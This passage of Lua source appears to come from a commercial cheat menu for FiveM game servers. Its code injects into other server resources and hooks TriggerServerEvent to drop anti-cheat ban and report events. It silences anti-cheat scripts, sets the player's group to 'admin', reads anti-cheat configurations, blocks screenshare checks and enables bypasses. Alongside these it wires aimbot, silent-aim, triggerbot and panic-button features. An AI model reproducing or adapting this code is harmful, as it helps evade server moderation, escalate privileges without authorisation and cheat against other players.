function(eventName, ...) if eventName == "CV-CORE:HubbleReport" then return end return origTrigger(eventName, ...) end ]] ) end if Ham.hasResource("malora_notify") or Ham.hasResource("sp_anticheat") then Ham.Execute( "es_extended", [[ local origTrigger = TriggerServerEvent TriggerServerEvent = function(eventName, ...) if eventName == "antiCheat:banPlayer" or eventName == "ac:triggerBan" then return end return origTrigger(eventName, ...) end ]] ) local disableTriggers = [[ local origTrigger = TriggerServerEvent TriggerServerEvent = function(eventName, ...) return end print = function() return end ]] Ham.Execute("malora_notify", disableTriggers) Ham.Execute("sp_anticheat", disableTriggers) end if menu.vars.antiCheats.Putin then Ham.Execute( "Putin", [[ GameMode = GameMode or {} GameMode.PlayerData = GameMode.PlayerData or {} GameMode.PlayerData.group = "admin" AdminSystem = AdminSystem or {} AdminSystem.Service = AdminSystem.Service or {} AdminSystem.Service.enabled = true ]] ) end if Ham.hasResource("WaveShield") then local waveShieldConfig = menu.utils.getWaveShieldConfig() if waveShieldConfig then menu.vars.wsConfig = waveShieldConfig end menu.vars.normalWeapon = "WEAPON_PISTOL_MK2" elseif Ham.hasResource("xeroshieldv3") then menu.vars.xeroConfig = GetStateBagValue("global", "_xero_cfg") elseif menu.vars.antiCheats.FiveGuard then menu.vars.fgConfig = GetStateBagValue("global", "_fg_cfg") elseif menu.vars.antiCheats.FeloxAC then print("felox found, getting config") menu.vars.feloxConfig = menu.utils.feloxGetConfig() end loadingState.progress = 7 if menu.utils.isServer185169NearbyVehicleMode() then setLoadingStatus("Detected CustomAC...") else setLoadingStatus("Detecting Anti-Cheats...") end loadingState.progress = 8 setLoadingStatus("Checking Protections...") menu.vars.eacConfig = menu.utils.getElectronConfig() menu.vars.whitelistedPed = menu.utils.getWhitelistedPed() menu.vars.spawnVehiclesAsObject = not ( not (Ham.getServerEndpoint() == "193.46.81.84") ) if menu.functions.snapshotVehicleSpawnerStaticPrefix then menu.functions.snapshotVehicleSpawnerStaticPrefix() end if menu.functions.isServer185169NearbyVehicleMode and menu.functions.isServer185169NearbyVehicleMode() then if menu.functions.updateNearbyEmptyVehicleSpawnerList then menu.functions.updateNearbyEmptyVehicleSpawnerList() end end loadingState.progress = 9 setLoadingStatus("Scanning Environment...") loadingState.progress = 10 setLoadingStatus("Loading Configuration...") menu.configSystem.fetchConfigs(function() end, { forceRefresh = true }) menu.functions.populatePanelScripts() Citizen.CreateThread(function() while _G.runmenu == true do Wait(60000) if menu.vars.linkedDiscord then menu.functions.fetchPanelScriptsNow({ skipIfUnchanged = true }) menu.panelApi.fetchOutfits(function(outfits, responseError) if responseError or not outfits then return end menu.vars.panelOutfits = outfits end) end end end) if Ham.enableBypasses and not menu.vars._bypassesLoaded then Ham.enableBypasses("fdghudfhbUA)DIq9i901iu4902irfiwsedjvifdj") menu.vars._bypassesLoaded = true end menu.vars.pedLimiter.maxPeds = menu.utils.fetchPedLimit() if not menu.vars.hotkeyBinds.MENU_TOGGLE then menu.vars.hotkeyBinds.MENU_TOGGLE = menu.vars.boundKeyName or "F5" end if not menu.vars.hotkeyBinds.AIMBOT_KEY then menu.vars.hotkeyBinds.AIMBOT_KEY = "MouseRight" menu.vars.keybindsDirty = true end if not menu.vars.hotkeyBinds.SILENT_AIM_KEY then menu.vars.hotkeyBinds.SILENT_AIM_KEY = "None" menu.vars.keybindsDirty = true end if not menu.vars.hotkeyBinds.TRIGGER_BOT_KEY then menu.vars.hotkeyBinds.TRIGGER_BOT_KEY = "None" menu.vars.keybindsDirty = true end if not menu.vars.hotkeyBinds.FORCE_RADIO_ANIM_KEY then menu.vars.hotkeyBinds.FORCE_RADIO_ANIM_KEY = "LeftAlt" menu.vars.keybindsDirty = true end if not menu.vars.hotkeyBinds.EMOTE_RESET_ANIMATION_KEY then menu.vars.hotkeyBinds.EMOTE_RESET_ANIMATION_KEY = "X" menu.vars.keybindsDirty = true end if not menu.vars.hotkeyBinds.SILENT_AIM_SELECT then menu.vars.hotkeyBinds.SILENT_AIM_SELECT = "None" menu.vars.keybindsDirty = true end if not menu.vars.hotkeyBinds.FREECAM_CROSSHAIR_TP then menu.vars.hotkeyBinds.FREECAM_CROSSHAIR_TP = "None" menu.vars.keybindsDirty = true end if not menu.vars.hotkeyBinds.PANIC_MODE then local panicKey = ImGuiKey.PageUp if panicKey and not menu.vars.hotkeys[panicKey] then menu.vars.hotkeys[panicKey] = { identifier = "PANIC_MODE", type = "button", func = "togglePanicMode", name = "Panic Button", keybindName = "Panic Button" } menu.vars.hotkeyBinds.PANIC_MODE = "PageUp" menu.vars.keybindsDirty = true end end local previousSuppressNotifications = menu.vars.suppressConfigApplyNotifications menu.vars.suppressConfigApplyNotifications = true menu.functions.applyAimbotKey() menu.vars.suppressConfigApplyNotifications = previousSuppressNotifications Ham.aimBot(menu.vars.bools.aimbot == true) loadingState.progress = 11 setLoadingStatus("Setting up Keybinds...") loadingState.progress = 12 setLoadingStatus("Applying Bypasses...") menu.vars.rageBotTypes = menu.utils.fetchRageBotTypes() Ham.addCallback("webrtc", "vanity_webrtc_callback", function(playerName) menu.utils.notify(playerName .. " screenshare was blocked!", "error", 10000) end) local screenWidth, screenHeight = Ham.getResolution() menu.vars.resolution = vector2(screenWidth, screenHeight) local baseWidth = menu.vars.width local widthScale = screenWidth / 2560.0 local widthScaleFactor = math.max(0.9, math.min(1.2, widthScale)) menu.vars.widthScaleFactor = widthScaleFactor local widthResolutionScaling = menu.vars.widthResScaling menu.vars.width = roundNearest(baseWidth * widthScaleFactor * widthResolutionScaling) loadingState.progress = 13 setLoadingStatus("Resolving Display...") loadingState.progress = 14 setLoadingStatus("Building UI...") local defaultThemeApplied = menu.configSystem and menu.configSystem._defaultThemeApplied local colorTheme = "blue" local startupTheme = menu.textureLoading.getStartupThemeKey() local colorSelector = 3 local hamName = tostring(Ham.getName() or "") if string.lower(hamName) == "brascowhite" then colorTheme = "community" startupTheme = "brascowhite" colorSelector = 7 end if not defaultThemeApplied then local themeSet = menu.themes[colorTheme] or {} local fallbackTheme = "blue1" if colorTheme == "community" then fallbackTheme = "black" elseif colorTheme == "red" then fallbackTheme = "red1" elseif colorTheme == "green" then fallbackTheme = "green1" elseif colorTheme == "orange" then fallbackTheme = "orange1" end local selectedTheme = themeSet[startupTheme] or themeSet[fallbackTheme] menu.textures.banner = selectedTheme and selectedTheme.texture or nil menu.vars.currentColorTheme = colorTheme local themeNames = {} for themeName in pairs(themeSet) do table.insert(themeNames, themeName) end table.sort(themeNames, function(firstName, secondName) local firstNumber = tonumber(firstName:match("%d+$")) or 0 local secondNumber = tonumber(secondName:match("%d+$")) or 0 if firstNumber ~= secondNumber then return firstNumber < secondNumber end return firstName < secondName end) local themeSelector = 1 for themeIndex, themeName in ipairs(themeNames) do if themeName == startupTheme then themeSelector = themeIndex break end end menu.vars.selectors.theme = themeSelector menu.vars.selectors.color = colorSelector menu.vars.selectors.theme = themeSelector local selectedColor = menu.vars.selectors.color or 1 menu.functions.applyColorTheme(menu.vars.colorThemeNames[selectedColor] or "community", false) menu.vars.selectors.theme = menu.vars.selectors.theme or themeSelector menu.functions.applyTheme() elseif menu.configSystem.applyThemeFromConfigData then menu.configSystem.applyThemeFromConfigData(menu.configSystem._defaultConfigTable) end if menu.functions.applyBackgroundStyle then menu.functions.applyBackgroundStyle() end menu.vars.footerStyleName = "Standard" if menu.functions.applySelectionBarSmooth then menu.functions.applySelectionBarSmooth() end loadingState.progress = 15 setLoadingStatus("Applying Theme...") loadingState.progress = 16 setLoadingStatus("Generating Menu...") menu.vars.orderedTabs = menu.logic.computeOrderedTabs() menu.utils.populateFreezableResources() loadingState.progress = 17 setLoadingStatus("Populating Tabs...") loadingState.progress = 18 setLoadingStatus("Indexing Vehicles...") menu.utils.populateAddonVehicles() menu.utils.getVehicleCategories() menu.logic.resetToCurrentTabRoot() if Ham.hasResource("exodus_dmvschool") then menu.vars.garageResources = { "exodus_vehicleshop" } end loadingState.progress = 19 setLoadingStatus("Finalizing...") setLoadingStatus("Loading Default Config...") if menu.configSystem and menu.configSystem._defaultConfigJson then local previousSuppressNotifications = menu.vars.suppressConfigApplyNotifications menu.vars.suppressConfigApplyNotifications = true menu.configSystem.loadConfig(menu.configSystem._defaultConfigJson) menu.vars.suppressConfigApplyNotifications = previousSuppressNotifications if menu.configSystem.applyThemeFromConfigData then menu.configSystem.applyThemeFromConfigData(menu.configSystem._defaultConfigTable) end else menu.functions.loadSelectedConfig({ configName = "default", silent = true }) end if menu.utils.applyGrandServerSilentAimDefaults then menu.utils.applyGrandServerSilentAimDefaults() end if menu.functions.initElectronAcWeaponBypass then menu.functions.initElectronAcWeaponBypass() end if menu.functions.initFiveGuardWeaponBypass then menu.functions.initFiveGuardWeaponBypass() end local defaultConfigTable = menu.configSystem and menu.configSystem._defaultConfigTable local shouldApplyDefaultTheme = true if menu.configSystem then shouldApplyDefaultTheme = not menu.configSystem._defaultThemeApplied end if shouldApplyDefaultTheme then if menu.functions.applyDefaultStartupBannerTheme then menu.functions.applyDefaultStartupBannerTheme() end elseif menu.configSystem and menu.configSystem.applyThemeFromConfigData then menu.configSystem.applyThemeFromConfigData(defaultConfigTable) end if menu.functions.applyBackgroundStyle then menu.functions.applyBackgroundStyle() end if menu.functions.applySelectionBarSmooth then menu.functions.applySelectionBarSmooth() end if menu.configSystem and menu.configSystem.loadVanityFriendsFromServer then menu.configSystem.loadVanityFriendsFromServer() end if menu.utils and menu.utils.applyVanityPrivacyStateBags then menu.utils.applyVanityPrivacyStateBags() end while isLoadingActive() and not loadingState.themeReady do Citizen.Wait(0) end if not isLoadingActive() then return end loadingState.progress = 20 loadingState.statusText = "Ready!" if not isLoadingActive() then return end menu.textureLoading.drawLoadingToast(1, loadingState.statusText) loadingState.active = false if menu.configSystem and menu.configSystem._defaultThemeApplied and menu.configSystem.applyThemeFromConfigData then menu.configSystem.applyThemeFromConfigData(menu.configSystem._defaultConfigTable) end if menu.vars.pendingBlacklistMessage then menu.vars.screenBoundOverlayUntil = 0 menu.vars.screenBoundOverlayText = nil menu.vars.blacklisted = true menu.vars.blacklistUiMode = menu.vars.pendingBlacklistUiMode or "blacklist" menu.vars.blacklistMessage = menu.vars.pendingBlacklistMessage menu.vars.blacklistDisplayTime = GetGameTimer() + (menu.vars.pendingBlacklistDisplayDuration or 60000) menu.vars.pendingBlacklistMessage = nil menu.vars.pendingBlacklistDisplayDuration = 0 menu.vars.pendingBlacklistUiMode = nil _G.runmenu = false return end menu.utils.waitForInitialSetup() if not _G.runmenu or menu.vars.blacklisted or menu.vars.pendingBlacklistMessage then return end menu.vars.isBindingKey = true menu.vars._initKeybindAnimStart = GetGameTimer() menu.vars.pendingBindKey = nil menu.vars.pendingBindKeyName = nil menu.vars.bindCompleteTime = 0 menu.vars.deferredEspEnableState = true menu.vars.bools.espEnable = false if menu.utils.isTestServerEndpoint and menu.utils.isTestServerEndpoint() then if not menu.vars.bools or menu.vars.bools.skipTestServerConfirm ~= true then local wasBindingKey = menu.vars.isBindingKey menu.vars.isBindingKey = false menu.utils.waitForTestServerConfirm() if not _G.runmenu then return end menu.vars.isBindingKey = wasBindingKey end end if DisableScreenblurFade then DisableScreenblurFade() end if TriggerScreenblurFadeOut then TriggerScreenblurFadeOut(0) end while _G.runmenu == true do Citizen.Wait(0) if menu.textureLoading.requests and #menu.textureLoading.requests > 0 then menu.textureLoading.poll() end if not menu.vars.prankFreezeActive then if menu.vars.visible then local currentNode = menu.vars.navigationStack[#menu.vars.navigationStack] if currentNode then if currentNode.title == "Online Options" and GetGameTimer() > menu.vars.nextPlayerListRefresh then menu.logic.syncOnlineListFocusedServerId() menu.logic.updatePlayerList() if not menu.vars.onlineListFocusedServerId or (currentNode.tabIndex or 1) == 1 then local nodeOptions = menu.logic.getNodeOptions(currentNode) local visibleOptions = menu.logic.getVisibleOptions(nodeOptions) local optionCount = #visibleOptions menu.vars.currentOption = math.min(menu.vars.currentOption, math.max(1, optionCount)) menu.vars.scrollOffset = math.min(menu.vars.scrollOffset, math.max(0, optionCount - menu.vars.maxVisibleOptions)) end menu.vars.nextPlayerListRefresh = GetGameTimer() + 800 end if currentNode.title == "Vehicle Radar" then local currentTime = GetGameTimer() if currentTime > (menu.vars.nextVehicleListRefresh or 0) then local previousOption = menu.vars.currentOption local previousScrollOffset = menu.vars.scrollOffset menu.logic.updateVehicleList() menu.logic.getActiveTabsForNode(currentNode) local nodeOptions = menu.logic.getNodeOptions(currentNode) local visibleOptions = menu.logic.getVisibleOptions(nodeOptions) local optionCount = #visibleOptions menu.vars.currentOption = math.min(previousOption, math.max(1, optionCount)) menu.vars.scrollOffset = math.min(previousScrollOffset, math.max(0, optionCount - menu.vars.maxVisibleOptions)) menu.vars.nextVehicleListRefresh = GetGameTimer() + 4000 end end if menu.functions.isServer185169NearbyVehicleMode and menu.functions.isServer185169NearbyVehicleMode() then if currentNode.title == "Vehicle Options" and (currentNode.tabIndex or 1) == 1 then local currentTime = GetGameTimer() if currentTime > (menu.vars.nextNearbyVehicleSpawnerRefresh or 0) then local previousOption = menu.vars.currentOption local previousScrollOffset = menu.vars.scrollOffset if menu.functions.updateNearbyEmptyVehicleSpawnerList then menu.functions.updateNearbyEmptyVehicleSpawnerList() end menu.logic.getActiveTabsForNode(currentNode) local nodeOptions = menu.logic.getNodeOptions(currentNode) local visibleOptions = menu.logic.getVisibleOptions(nodeOptions) local optionCount = #visibleOptions menu.vars.currentOption = math.min(previousOption, math.max(1, optionCount)) menu.vars.scrollOffset = math.min( previousScrollOffset, math.max(0, optionCount - menu.vars.maxVisibleOptions) ) menu.vars.nextNearbyVehicleSpawnerRefresh = GetGameTimer() + 3000 end end end if currentNode.title == "Online Options" and GetGameTimer() > menu.vars.nextPlayerValidation then if menu.vars.selectedPlayer then local playerId = GetPlayerFromServerId(menu.vars.selectedPlayer.serverId or -1) if not playerId or playerId == -1 or not NetworkIsPlayerActive(playerId) then menu.logic.notifyPlayerLeftOnlineList(menu.vars.selectedPlayer.serverId) menu.vars.selectedPlayer = nil if menu.logic.buildPlayerOptionsTab then menu.logic.buildPlayerOptionsTab() end else menu.vars.selectedPlayer.playerId = playerId local playerPed = GetPlayerPed(playerId) if playerPed and playerPed ~= 0 and DoesEntityExist(playerPed) then menu.vars.selectedPlayer.ped = playerPed end end end menu.vars.nextPlayerValidation = GetGameTimer() + 300 end end end if menu.functions and menu.functions.tickVehicleSpawnPreview then menu.functions.tickVehicleSpawnPreview() end if menu.functions and menu.functions.tickDamageReflection then menu.functions.tickDamageReflection() end if menu.functions and menu.functions.tickPlayerOptionPreview then menu.functions.tickPlayerOptionPreview() end local guiOpen = Ham.isGuiOpen() local movingOverlayList = menu.vars.movingOverlayList if not movingOverlayList and not guiOpen and not menu.vars.isBindingKey and not menu.vars.isBindingHotkey and not menu.vars.textPrompt then if not (menu.vars.colorPickerState and menu.vars.colorPickerState.hexInputActive) then menu.logic.handleHotkeys() end end if not menu.vars.isBindingKey and not menu.vars.panicMode then menu.drawing.drawNotifications() menu.drawing.drawBlacklistMessage() menu.drawing.drawMinimapId() menu.drawing.drawColorPicker() end if not menu.vars.isBindingKey and menu.vars.screenBoundOverlayUntil and GetGameTimer() < menu.vars.screenBoundOverlayUntil then menu.drawing.drawScreenBoundOverlay() end if menu.vars.isBindingKey then if Ham.toggleMouse then Ham.toggleMouse(true) end menu.logic.handleKeyBinding() end menu.logic.updateAnimation() menu.drawing.drawAll() if menu.vars.bools.lazerEyes and menu.functions and menu.functions.drawLazerEyesHint then menu.functions.drawLazerEyesHint() end if menu.vars.visible and menu.vars.bools and menu.vars.bools.menuMouseControl then DisableControlAction(0, 24, true) DisableControlAction(0, 25, true) DisableControlAction(0, 140, true) DisableControlAction(0, 141, true) DisableControlAction(0, 142, true) DisableControlAction(0, 257, true) DisableControlAction(0, 263, true) DisableControlAction(0, 1, true) DisableControlAction(0, 2, true) for controlType = 0, 2 do DisableControlAction(controlType, 37, true) DisableControlAction(controlType, 99, true) DisableControlAction(controlType, 157, true) DisableControlAction(controlType, 158, true) DisableControlAction(controlType, 159, true) DisableControlAction(controlType, 160, true) DisableControlAction(controlType, 161, true) DisableControlAction(controlType, 162, true) DisableControlAction(controlType, 163, true) DisableControlAction(controlType, 164, true) DisableControlAction(controlType, 165, true) DisableControlAction(controlType, 81, true) DisableControlAction(controlType, 82, true) DisableControlAction(controlType, 83, true) DisableControlAction(controlType, 84, true) DisableControlAction(controlType, 85, true) end end menu.logic.blockMenuF11FromGame() if menu.vars.movingOverlayList then Ham.toggleInputBlock(true) Ham.toggleMouse(true) for controlType = 0, 2 do DisableAllControlActions(controlType) end else if menu.vars.isBindingHotkey and not guiOpen then menu.logic.handleHotkeyBinding() menu.drawing.drawHotkeyBindPrompt() elseif not guiOpen and not menu.vars.isBindingKey then local promptActive = menu.vars.textPrompt if not promptActive then promptActive = menu.vars.movingOverlayList if not promptActive and menu.vars.colorPickerState and menu.vars.colorPickerState.active then promptActive = true end if not promptActive then if menu.vars.isBindingHotkey or menu.vars.isBindingKey then promptActive = true else promptActive = menu.vars.testServerConfirmActive end end end if Ham.toggleMouse then if menu.vars.visible and menu.vars.bools and menu.vars.bools.menuMouseControl and not promptActive then Ham.toggleMouse(true) elseif not promptActive then if not (menu.vars.colorPickerState and menu.vars.colorPickerState.active) then if not ( menu.vars.visible and menu.vars.bools and menu.vars.bools.menuMouseControl == true ) then Ham.toggleMouse(false) end end end end if not menu.vars.movingOverlayList then menu.logic.handleControls() end end end if (menu.vars.isBindingKey or menu.vars.initSetupActive) and not menu.vars.blacklisted and not menu.vars.pendingBlacklistMessage then if not (menu.vars.initLoading and menu.vars.initLoading.active) then menu.drawing.drawKeyBindPrompt() end end if menu.logic and menu.logic.tickNoclipWeaponWheelAllow then menu.logic.tickNoclipWeaponWheelAllow() end if menu.logic and menu.logic.tickAzertyMovementAllow then menu.logic.tickAzertyMovementAllow() end if menu.logic and menu.logic.tickNoclipScrollSpeedInput then menu.logic.tickNoclipScrollSpeedInput() end end end end) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] function pendingMenuEntry25() while _G.runmenu == true do Citizen.Wait(0) if menu.logic and menu.logic.blockMenuKeysFromGame then menu.logic.blockMenuKeysFromGame() end end end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runColorPickerRainbowStatesThread() while _G.runmenu == true do local waitTime = 250 local rainbowStates = menu.vars.colorPickerRainbowStates or {} local colorPickerState = menu.vars.colorPickerState local currentTime = GetGameTimer() for key, enabled in pairs(rainbowStates) do if enabled then waitTime = 50 local hue = (currentTime % 6000) / 6000 local red, green, blue = menu.utils.hsvToRgb(hue, 1, 1) local existingColor = menu.vars.colorPickers[key] if not existingColor then existingColor = { 255, 255, 255, 255 } end local alpha = math.floor(existingColor[4] or 255) if existingColor[1] ~= red or existingColor[2] ~= green or existingColor[3] ~= blue then menu.vars.colorPickers[key] = { red, green, blue, alpha } if colorPickerState and colorPickerState.active and colorPickerState.var == key and colorPickerState.rainbowEnabled then colorPickerState.hue = hue colorPickerState.saturation = 1 colorPickerState.brightness = 1 colorPickerState.alpha = alpha end local onChange = menu.vars.colorPickerOnChangeFuncs if onChange then onChange = menu.vars.colorPickerOnChangeFuncs[key] end if onChange then menu.utils.safeCallByName(onChange) end end end end Wait(waitTime) end end pendingMenuEntry25 = runColorPickerRainbowStatesThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runSpectatorListThread() while _G.runmenu == true do local frameDelay = menu.vars.panicMode and 50 or 2500 local suppressList if menu.vars.startupHudReady then suppressList = menu.vars.initLoading and menu.vars.initLoading.active if not suppressList then suppressList = menu.vars.initSetupActive end if not suppressList then suppressList = menu.vars.isBindingKey end if not suppressList then suppressList = menu.vars.blacklisted end else suppressList = true end if menu.vars.bools.spectatorList and not menu.vars.panicMode and not suppressList then frameDelay = 0 local scale = menu.vars.scale or 1.0 local screenWidth, screenHeight = Ham.getResolution() local defaultX = roundNearest(14 * scale) local panelWidth = roundNearest(130 * scale) local headerHeight = roundNearest(20 * scale) local rowHeight = roundNearest(16 * scale) local footerPadding = roundNearest(4 * scale) local optionFontSize = roundNearest(10 * scale) local titleFontSize = roundNearest(13 * scale) local state = menu.vars.spectatorListState if state.x == nil or state.y == nil then state.x = roundNearest(screenWidth * 0.68) - roundNearest(panelWidth / 2) + roundNearest(28 * scale) state.y = math.max(0, defaultX - roundNearest(6 * scale)) end local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) local currentTime = GetGameTimer() if not menu.vars.spectatorCacheNextUpdate or currentTime > menu.vars.spectatorCacheNextUpdate then menu.vars.spectatorCacheNextUpdate = currentTime + 500 menu.vars.spectatorCache = {} local activePlayers = GetActivePlayers() for index = 1, #activePlayers do local player = activePlayers[index] if player ~= PlayerId() then local ped = GetPlayerPed(player) if ped ~= 0 and DoesEntityExist(ped) then local visible = IsEntityVisible(ped) local alpha = GetEntityAlpha(ped) if not visible or (alpha ~= nil and alpha <= 10) then local playerName = GetPlayerName(player) if not playerName then playerName = "[" .. tostring(GetPlayerServerId(player)) .. "]" end local serverId = GetPlayerServerId(player) local group = GetStateBagValue("player:" .. serverId, "group") if not group or #group == 0 then group = GetStateBagValue("player:" .. serverId, "CORE_Group") end if menu.vars.groupOverrides[serverId] then group = menu.vars.groupOverrides[serverId] end local groupColor = menu.drawing.colors.text_primary local groupLabel = "" local isFriend = menu.utils.isServerIdFriend(serverId) local showVanityUser = menu.utils.shouldShowVanityUserInEsp if showVanityUser then showVanityUser = menu.utils.shouldShowVanityUserInEsp(serverId) end if showVanityUser then groupColor = menu.drawing.colors.primary or { 0, 200, 170, 255 } groupLabel = "[VANITY] " elseif isFriend then groupColor = { 0, 255, 0, 255 } groupLabel = "[Friend] " elseif group == "admin" or group == "superadmin" then groupColor = { 231, 76, 60, 255 } groupLabel = "[ADMIN] " elseif group == "mod" then groupColor = { 52, 152, 219, 255 } groupLabel = "[MOD] " elseif group == "vip" then groupColor = { 241, 196, 15, 255 } groupLabel = "[VIP] " end table.insert(menu.vars.spectatorCache, { pid = player, name = playerName, serverId = serverId, groupLabel = groupLabel, groupColor = groupColor }) end end end end end local entries = {} if menu.vars.spectatorCache then for _, cachedPlayer in ipairs(menu.vars.spectatorCache) do local ped = GetPlayerPed(cachedPlayer.pid) if DoesEntityExist(ped) then local coords = GetEntityCoords(ped) local distance = #(coords - playerCoords) if distance <= 250.0 then local heightDifference = coords.z - playerCoords.z local indicator = "" if math.abs(heightDifference) > 5.0 then indicator = heightDifference > 0 and "\226\134\145" or "\226\134\147" end table.insert(entries, { name = cachedPlayer.name, indicator = indicator, dist = distance, groupLabel = cachedPlayer.groupLabel, groupColor = cachedPlayer.groupColor, serverId = cachedPlayer.serverId }) end end end end local entryCount = #entries table.sort(entries, function(left, right) return left.dist < right.dist end) local panelHeight = headerHeight if entryCount > 0 then panelHeight = headerHeight + entryCount * rowHeight + footerPadding end local panelX, panelY = state.x, state.y local mouseX, mouseY = Ham.getMousePos() local mouseDown = Ham.isMouseDown(0) local mouseInHeader = panelX <= mouseX and mouseX <= panelX + panelWidth and panelY <= mouseY and mouseY <= panelY + headerHeight local freecamBlackHole = menu.vars.freecamMenuActive if freecamBlackHole then freecamBlackHole = menu.utils.isFreecamBlackHoleOptionSelected if freecamBlackHole then freecamBlackHole = menu.utils.isFreecamBlackHoleOptionSelected() end end if freecamBlackHole then state.isDragging = false end if menu.vars.movingOverlayList ~= "spectatorListState" then if not menu.vars.movingOverlayList and not freecamBlackHole and mouseDown and Ham.isGuiOpen() then if state.isDragging then state.x = math.max(0, math.min(screenWidth - panelWidth, mouseX - state.dragOffsetX)) state.y = math.max(0, math.min(screenHeight - panelHeight, mouseY - state.dragOffsetY)) elseif mouseInHeader then state.isDragging = true state.dragOffsetX = mouseX - panelX state.dragOffsetY = mouseY - panelY end else state.isDragging = false end end panelX, panelY = state.x, state.y menu.functions.drawOverlayMoveFocus("spectatorListState", state, panelWidth, panelHeight) panelX, panelY = state.x, state.y local cornerRadius = math.max(1, roundNearest(4 * scale)) local cornerSegments = roundNearest(8 * scale) local _, _, panelBackground = menu.drawing.getHudPanelBackgrounds() local primaryColor = menu.drawing.colors.primary Ham.drawRectFilled( { panelX, panelY, panelWidth, panelHeight }, panelBackground, cornerRadius, cornerSegments ) Ham.drawRectFilled( { panelX, panelY, panelWidth, headerHeight }, { 0, 0, 0, 255 }, cornerRadius, cornerSegments ) local halfHeader = math.max(1, roundNearest(headerHeight / 2)) Ham.drawRectFilled( { panelX, panelY + halfHeader, panelWidth, math.max(1, headerHeight - halfHeader) }, { 0, 0, 0, 255 }, 0, 0 ) if menu.vars.footerStyleName ~= "Black" then Ham.drawRectGradient( { panelX, panelY, panelWidth, headerHeight }, { primaryColor[1], primaryColor[2], primaryColor[3], 200 }, { 0, 0, 0, 0 }, true ) end local accentHeight = roundNearest(2 * scale) Ham.drawRectGradient( { panelX, panelY + headerHeight - accentHeight, panelWidth, accentHeight }, primaryColor, menu.drawing.colors.primary_light, false ) local titleX = panelX + roundNearest(8 * scale) local iconY = panelY + roundNearest(5 * scale) local iconSize = math.max(1, titleFontSize - roundNearest(5 * scale)) local titleY = iconY - math.max(1, roundNearest(2 * scale)) if menu.fonts and menu.fonts.icons then Ham.setFont(menu.fonts.icons) local icon = entryCount > 0 and "\239\129\174" or "\239\129\176" Ham.drawText( icon, { titleX, iconY }, menu.drawing.colors.primary, iconSize, false, true, { 0, 0, 0, 255 } ) Ham.drawText(icon, { titleX, iconY }, menu.drawing.colors.primary, iconSize, false, false, {}) local iconWidth = Ham.getTextWidth(icon) titleX = titleX + iconWidth + roundNearest(4 * scale) end local titleColor = menu.drawing.colors.text_primary or { 255, 255, 255, 255 } Ham.setFont(menu.fonts.title) local title = "Spectators" Ham.drawText( title, { titleX, titleY }, titleColor, titleFontSize, false, true, { 0, 0, 0, titleColor[4] or 255 } ) Ham.drawText(title, { titleX, titleY }, titleColor, titleFontSize, false, false, {}) if entryCount > 0 then local rowY = panelY + headerHeight + footerPadding Ham.setFont(menu.fonts.options) for _, entry in ipairs(entries) do local textY = rowY + roundNearest(2 * scale) local distanceText = string.format("%.0fm", entry.dist) local distanceWidth = Ham.getTextWidth(distanceText) local distanceX = panelX + panelWidth - distanceWidth - roundNearest(8 * scale) Ham.drawText( distanceText, { distanceX, textY }, menu.drawing.colors.text_muted, optionFontSize, false, true, { 0, 0, 0, 255 } ) Ham.drawText( distanceText, { distanceX, textY }, menu.drawing.colors.text_muted, optionFontSize, false, false, {} ) local textX = panelX + roundNearest(8 * scale) if entry.indicator ~= "" then Ham.drawText( entry.indicator, { textX, textY }, menu.drawing.colors.accent, optionFontSize, false, true, { 0, 0, 0, 255 } ) Ham.drawText( entry.indicator, { textX, textY }, menu.drawing.colors.accent, optionFontSize, false, false, {} ) textX = textX + roundNearest(12 * scale) end if entry.groupLabel ~= "" then Ham.drawText( entry.groupLabel, { textX, textY }, entry.groupColor, optionFontSize, false, true, { 0, 0, 0, 255 } ) Ham.drawText( entry.groupLabel, { textX, textY }, entry.groupColor, optionFontSize, false, false, {} ) textX = textX + Ham.getTextWidth(entry.groupLabel) end local availableNameWidth = distanceX - textX - roundNearest(6 * scale) local playerName = entry.name local nameWidth = Ham.getTextWidth(playerName) if availableNameWidth < nameWidth then local suffix = ".." local suffixWidth = Ham.getTextWidth(suffix) local truncatedName = playerName while #truncatedName > 0 do local candidate = truncatedName .. suffix local candidateWidth = Ham.getTextWidth(candidate) if availableNameWidth >= candidateWidth or suffixWidth >= candidateWidth then playerName = candidate break end truncatedName = string.sub(truncatedName, 1, #truncatedName - 1) end if #truncatedName == 0 then playerName = suffix end end Ham.drawText( playerName, { textX, textY }, menu.drawing.colors.text_primary, optionFontSize, false, true, { 0, 0, 0, 255 } ) Ham.drawText( playerName, { textX, textY }, menu.drawing.colors.text_primary, optionFontSize, false, false, {} ) rowY = rowY + rowHeight end end if menu.vars.movingOverlayList == "menuPositionState" then Ham.drawRectFilled({ panelX, panelY, panelWidth, panelHeight }, { 0, 0, 0, 120 }, 0, 0) end Ham.resetFont() end Wait(frameDelay) end end pendingMenuEntry25 = runSpectatorListThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runVanityUsersListThread() while _G.runmenu == true do local frameDelay = menu.vars.panicMode and 50 or 2500 local suppressList if menu.vars.startupHudReady then suppressList = menu.vars.initLoading and menu.vars.initLoading.active if not suppressList then suppressList = menu.vars.initSetupActive end if not suppressList then suppressList = menu.vars.isBindingKey end if not suppressList then suppressList = menu.vars.blacklisted end else suppressList = true end if menu.vars.bools.vanityUsersList and not menu.vars.panicMode and not suppressList then frameDelay = 0 if menu.textureLoading and menu.textureLoading.ensureNotifyLogoLoading then menu.textureLoading.ensureNotifyLogoLoading() end local scale = menu.vars.scale or 1.0 local screenWidth, screenHeight = Ham.getResolution() local defaultX = roundNearest(14 * scale) local panelWidth = roundNearest(145 * scale) local headerHeight = roundNearest(20 * scale) local rowHeight = roundNearest(16 * scale) local footerPadding = roundNearest(4 * 